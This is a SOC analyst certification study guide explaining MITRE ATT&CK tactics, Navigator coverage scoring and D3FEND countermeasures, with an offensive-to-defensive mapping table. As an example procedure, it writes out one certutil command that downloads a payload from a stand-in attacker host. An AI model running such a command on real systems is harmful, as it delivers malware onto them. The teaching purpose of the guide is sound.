Study guide
3.3 MITRE ATT&CK and MITRE D3FEND Frameworks for SOC Defense
EC-Council Certified SOC Analyst CSA 312-39
Track your progress as you read
Finished sections get a check mark.
1 Introduction: Current Exam Facts and Blueprint
0.1 Current Exam Facts, Blueprint, and Study Plan
2 Chapter 1: Security Operations and Management Fundamentals
1.1 SOC Overview, Capabilities, and Operational Workflow 1.2 SOC Architectures, Sourcing Models, and Organizational Components 1.3 SOC Maturity, Generations, Metrics, and KPIs
3 Chapter 2: Cyber Threat Vectors, TTPs, and Attack Techniques
2.1 Network, Host, and Password Attack Techniques 2.2 Application, Web, and Session Attack Vectors 2.3 Social Engineering, Email Threats, and Insider Attacks
4 Chapter 3: Threat Frameworks, Methodologies, and Indicators
3.1 Indicators of Compromise (IoCs), Indicators of Attack (IoAs), and Pyramid of Pain 3.2 Cyber Kill Chain and Diamond Model of Intrusion Analysis 3.3 MITRE ATT&CK and MITRE D3FEND Frameworks for SOC Defense
5 Chapter 4: Log Management, Formats, and Centralized Architecture
4.1 Log Fundamentals, Sources, and Host Logging 4.2 Network Device, Web Server, and Database Logs 4.3 Centralized Logging Architectures and Pipeline 4.4 Log Parsing, Normalization, and Field Extraction
6 Chapter 5: SIEM Architecture, Deployment, and Use Case Engineering
5.1 SIEM Architecture, Components, and Deployment Models 5.2 SIEM Use Case Development Lifecycle 5.3 Detection Rule Engineering and Sigma Rules
7 Chapter 6: SIEM Alert Triage, Detection Scenarios, and SOC Operations
6.1 Host and Application-Level Incident Detection Use Cases 6.2 Network-Level and Behavioral Anomaly Detection Use Cases 6.3 Alert Triage Methodology and False Positive Elimination 6.4 SOC Dashboards, Visualizations, and Reporting
8 Chapter 7: Cyber Threat Intelligence (CTI) and Threat-Informed Defense
7.1 Cyber Threat Intelligence (CTI) Lifecycle and Intelligence Types 7.2 Threat Intelligence Sources, Formats, and Platforms 7.3 Integrating Threat Intelligence into SOC and SIEM Operations
9 Chapter 8: Threat Hunting Methodologies and Proactive Detection
8.1 Threat Hunting Principles, Frameworks, and Process 8.2 Threat Hunting Techniques with PowerShell and Scripting 8.3 YARA Rule Crafting and Threat Hunting Tooling
10 Chapter 9: Incident Response Lifecycle, Governance, and Handling Procedures
9.1 Incident Response Frameworks and the SOC-IRT Interface 9.2 Incident Triage, Ticketing, and Prioritization 9.3 Containment, Eradication, Recovery, and Root Cause Analysis
11 Chapter 10: Incident Response Playbooks and SOC Automation
10.1 Specialized Incident Response Playbooks 10.2 Endpoint Detection and Response (EDR) and Extended Detection and Response (XDR) 10.3 Security Orchestration, Automation, and Response (SOAR) Playbooks
12 Chapter 11: Digital Forensics and Evidence Handling for SOC Analysts
11.1 Digital Forensics Fundamentals and Evidence Preservation 11.2 Host, Network, and Memory Forensics Triage 11.3 Malware Analysis Techniques for SOC Responders
13 Chapter 12: Cloud SOC Architectures and Monitoring
12.1 Cloud SOC Foundations and Shared Responsibility 12.2 Azure Security Operations with Microsoft Sentinel 12.3 AWS and Google Cloud Platform SOC Architectures
3.3 MITRE ATT&CK and MITRE D3FEND Frameworks for SOC Defense
Key Takeaways Explain This Topic AI
MITRE ATT&CK is an empirically grounded, globally accessible knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations.
The current Enterprise ATT&CK matrix has 15 tactics representing adversary goals; the tactics are not a required chronological sequence.
ATT&CK Navigator enables SOC teams to visualize detection coverage, conduct gap analyses, score detection maturity, and profile threat actor behaviors.
MITRE D3FEND is a countermeasure knowledge graph whose current interface groups techniques under Model, Harden, Detect, Isolate, Deceive, Evict, and Restore.
Cross-mapping ATT&CK offensive techniques to D3FEND defensive countermeasures establishes a rigorous, measurable foundation for SOC detection engineering.
Last updated: September 2026
The MITRE ATT&CK Architecture
The MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) framework is the de facto global standard for modeling cyber adversary behavior. Created in 2013 by the MITRE Corporation, ATT&CK catalogs the observed post-compromise actions taken by advanced persistent threat (APT) groups against enterprise environments.
The Core Structural Hierarchy
Tactics (The "Why") : The adversary's tactical objective. Represents the high-level operational goal of an action.
Techniques (The "How") : The specific technical method utilized to accomplish a tactical objective.
Sub-techniques : Granular subdivisions of techniques that capture specific technical variations without bloating the matrix (e.g., Technique T1059: Command and Scripting Interpreter contains Sub-technique T1059.001: PowerShell and T1059.003: Windows Command Shell ).
Procedures (The "What") : The specific, real-world implementation, code syntax, or command parameters executed by a known threat actor or malware family (e.g., APT28 using certutil.exe -urlcache -split -f http://evil[.]com/payload.exe to download a binary).
The Matrices within ATT&CK
Enterprise Matrix : Covers Windows, macOS, Linux, Cloud (AWS, Azure, GCP, Microsoft 365, Google Workspace, IaaS), Network Devices, and Containers (Docker, Kubernetes).
Mobile Matrix : Models adversary behaviors targeting Android and iOS mobile devices.
ICS Matrix : Catalogs adversary behaviors targeting Industrial Control Systems, SCADA environments, and critical infrastructure equipment.
The 15 Current Enterprise ATT&CK Tactics
The current Enterprise ATT&CK Matrix contains 15 tactics. A tactic is an adversary goal—the “why” behind a technique—not a mandatory chronological step. Real intrusions can skip, repeat, or pursue several tactics at once:
Tactic ID Tactic Name Core Operational Objective Exemplary Techniques & Sub-techniques Primary SOC Telemetry Sources
TA0043 Reconnaissance Gather information to plan future adversary operations Active Scanning (T1595), Search Open Technical Databases (T1596) Edge firewall logs, web server access logs, threat intelligence alerts
TA0042 Resource Development Establish resources to support operations (infrastructure, accounts) Acquire Infrastructure (T1583), Develop Capabilities (T1587) Threat feed correlation, WHOIS / domain registration tracking
TA0001 Initial Access Gain an initial foothold inside the enterprise network Phishing (T1566), Exploit Public-Facing Application (T1190), Valid Accounts (T1078) Email gateway logs, WAF alerts, VPN authentication logs
TA0002 Execution Run malicious code on local or remote systems Command & Scripting Interpreter (T1059), Scheduled Task (T1053), WMI (T1047) EDR process creation (Sysmon EID 1, Security EID 4688)
TA0003 Persistence Maintain access across restarts, changed credentials, or logoffs Boot/Logon Autostart (T1547), Create Account (T1136), Web Shell (T1505.003) File Integrity Monitoring (FIM), Sysmon EID 11/12/13
TA0004 Privilege Escalation Gain higher-level permissions (SYSTEM, root, Domain Admin) Process Injection (T1055), Abuse Elevation Control (T1548 - UAC Bypass) EDR behavioral memory monitors, Windows Security EID 4672
TA0005 Stealth Hide actions and appear like normal behavior Masquerading, obfuscation, and indicator removal Process, file, command-line, and audit telemetry
TA0112 Defense Impairment Break security mechanisms, pipelines, or tools so defenders cannot see or trust activity Disable or Modify Tools (T1685), Disable or Modify System Firewall (T1686) EDR health, service state, firewall policy, and logging-pipeline monitoring
TA0006 Credential Access Steal account names, passwords, hashes, and Kerberos tickets OS Credential Dumping (T1003 - LSASS), Kerberoasting (T1558.003) Domain Controller EID 4769 (Kerberos TGS), EDR handle inspection
TA0007 Discovery Gain knowledge about internal network and system posture Network Service Discovery (T1046), Account Discovery (T1087) Command line logging, internal network flow anomalies
TA0008 Lateral Movement Extend access and pivot across other systems on the network Remote Services (T1021 - RDP/SMB), Pass the Hash (T1550.002) Windows Security EID 4624 (Logon Type 3/10), SMB traffic logs
TA0009 Collection Aggregate data of interest for exfiltration Archive Collected Data (T1560), Screen Capture (T1113) Process creation for archiving utilities (7z, rar), file read volume
TA0011 Command & Control Communicate with compromised systems to control them Application Layer Protocol (T1071), Ingress Tool Transfer (T1105) NDR beaconing analysis, proxy logs, DNS query inspection
TA0010 Exfiltration Steal and transmit data out of the target environment Exfiltration Over C2 (T1041), Exfiltration Over Web Service (T1567) Data Loss Prevention (DLP) alerts, abnormal outbound bytes
TA0040 Impact Manipulate, interrupt, or destroy operational systems and data Data Encrypted for Impact (T1486 - Ransomware), Service Stop (T1489) Mass file modification alerts, service termination events
ATT&CK Navigator for SOC Operations
The ATT&CK Navigator is a web-based visualization tool that allows SOC detection engineers and managers to perform critical operational assessments:
Detection Coverage Scoring : Mapping existing SIEM correlation rules and EDR detections across matrix cells. SOCs assign maturity scores to individual techniques:
Score 0 (Red / Blind Spot) : No logging or telemetry exists; total visibility void.
Score 1 (Yellow / Telemetry Available) : Telemetry is ingested into SIEM, but no automated alert or correlation logic is deployed.
Score 2 (Light Green / Automated Alert) : High-fidelity detection rule fires automatically upon technique execution.
Score 3 (Dark Green / Validated & Tested) : Detection logic has been verified via purple team adversary emulation (e.g., Atomic Red Team) and tuned against false positives.
Threat Group Profiling : Overlaying the known techniques of threat groups targeting the organization's vertical (e.g., overlaying FIN7 and Lazarus Group techniques) to identify overlapping techniques requiring immediate engineering priority.
Gap Analysis & Investment Planning : Demonstrating detection voids to executive leadership to justify budget allocations for new telemetry sources (e.g., deploying Sysmon to address blind spots in process creation logging).
The MITRE D3FEND Framework
While ATT&CK catalogs adversary behavior, MITRE D3FEND (Detection, Denial, and Disruption Framework Empowering Network Defense) is a knowledge graph of cybersecurity countermeasure techniques . D3FEND standardizes defensive vocabulary; MITRE explicitly notes that it does not prescribe, prioritize, or rate the effectiveness of countermeasures. Sponsored by the National Security Agency (NSA) and released in 2021, D3FEND provides a standardized vocabulary for defensive engineering.
- Current D3FEND Defensive Tactic Groups [MITRE D3FEND Defensive Tactic Groups]
- Model -> Asset inventories, network mapping, and vulnerability assessment
- Harden -> Application, credential, message, and platform hardening
- Detect -> File, identifier, message, network, process, and user analysis
- Isolate -> Access mediation, content quarantine, execution and network isolation
- Deceive -> Decoy environments, files, identities, tokens, and network resources
- Evict -> Credential, object, process, and session eviction
- Restore -> Restore access, credentials, configurations, data, and software
Model : Developing comprehensive asset inventories, network topologies, and mapping internal software dependencies (e.g., Asset Mapping, Network Mapping, System Vulnerability Assessment).
Harden : Proactively reducing attack surface prior to attack execution (e.g., Application Hardening, Credential Hardening, enforcing Windows LSA Protection, configuring memory protections like ASLR/DEP).
Detect : Observing and analyzing system artifacts and telemetry (for example, Process Lineage Analysis, Network Traffic Analysis, and File Integrity Monitoring).
Isolate : Dynamically constraining system components to limit damage (e.g., container sandboxing, EDR endpoint network isolation, Micro-virtualization).
Deceive : Deploying honeypots, canary tokens, and dummy service accounts to entice adversaries into revealing their presence (e.g., Decoy Environment, Decoy Object, Decoy Network).
Evict : Removing adversary access or artifacts (for example, Credential Eviction, File Eviction, Process Termination, and Session Termination).
Restore : Returning access, credentials, configurations, data, or software to a trusted operational state after defensive action.
Cross-Mapping ATT&CK to D3FEND
Detection engineering can relate offensive techniques to defensive techniques. D3FEND’s ATT&CK relationships are knowledge-graph aids and may be inferred or experimental, so validate them against the current release and the actual control:
Offensive ATT&CK Technique Technical Description Defensive D3FEND Countermeasure D3FEND ID D3FEND Technical Implementation
T1059: Command & Scripting Interpreter Executing commands through PowerShell, CMD, Bash, or another interpreter. Process Lineage Analysis D3-PLA Analyze process ancestry and related metadata; treat the mapping as an investigative relationship, not a guarantee of maliciousness.
T1003.001: LSASS Memory Attempting to obtain credentials from LSASS process memory. Application-based Process Isolation D3-ABPI Isolate process resources through operating-system mechanisms; exact implementations and effectiveness vary.
T1071 / malicious file delivery examples Scripts or files containing recognizable malicious patterns. File Content Rules D3-FCR Apply a pattern-matching rule language such as YARA, with tuning and validation.
T1021.001: Remote Desktop Protocol Using RDP for remote access or lateral movement. Remote Terminal Session Detection D3-RTSD Detect remote interactive terminal sessions from network evidence and correlate them with identity and host logs.
T1070.004: File Deletion Deleting malware artifacts or log files to evade detection. File Modification Monitoring D3-FMM Deploy write-once-read-many (WORM) centralized logging to ensure logs cannot be destroyed locally.
T1055: Process Injection Injecting malicious code into memory space of running benign process. Dynamic Memory Analysis D3-DMA EDR memory inspection monitoring Windows API calls ( VirtualAllocEx , WriteProcessMemory ).
T1566: Phishing Delivering weaponized attachments or credential harvesting links. Message Content Analysis D3-MCA Mail gateway detonation of attachments in isolated sandbox environments.